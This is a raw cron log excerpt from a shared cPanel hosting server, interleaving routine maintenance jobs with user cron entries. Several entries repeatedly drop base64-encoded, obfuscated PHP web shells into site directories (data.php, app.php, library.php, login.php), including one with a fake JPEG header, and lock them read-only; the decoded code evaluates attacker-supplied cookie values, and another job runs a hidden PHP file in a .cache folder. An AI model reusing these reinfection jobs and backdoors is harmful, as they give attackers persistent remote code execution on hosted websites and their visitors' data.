Apr 19 05:24:01 medusa CROND[26924]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:24:01 medusa CROND[26925]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:24:01 medusa CROND[26926]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:24:01 medusa CROND[26928]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:24:01 medusa CROND[26934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:24:01 medusa CROND[26936]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:24:01 medusa CROND[26938]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:24:01 medusa CROND[26937]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 05:24:01 medusa CROND[26940]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:25:01 medusa CROND[18372]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 05:25:01 medusa CROND[18497]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:25:01 medusa CROND[18498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:25:01 medusa CROND[18499]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:25:01 medusa CROND[18500]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 05:25:01 medusa CROND[18501]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 05:25:01 medusa CROND[18502]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:25:01 medusa CROND[18503]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:25:01 medusa CROND[18510]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:25:01 medusa CROND[18512]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 05:25:01 medusa CROND[18513]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:25:01 medusa CROND[18509]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 05:25:01 medusa CROND[18516]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:25:01 medusa CROND[18519]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 05:25:01 medusa CROND[18514]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 05:25:01 medusa CROND[18521]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:25:01 medusa CROND[18520]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 05:25:01 medusa CROND[18524]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:25:01 medusa CROND[18515]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 05:25:01 medusa CROND[18517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 05:25:01 medusa CROND[18530]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 05:25:01 medusa CROND[18518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:26:02 medusa CROND[10786]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:26:02 medusa CROND[10865]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:26:02 medusa CROND[10868]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 05:26:02 medusa CROND[10869]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:26:02 medusa CROND[10870]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:26:02 medusa CROND[10871]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:26:02 medusa CROND[10872]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:26:02 medusa CROND[10873]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:26:02 medusa CROND[10874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:26:02 medusa CROND[10879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
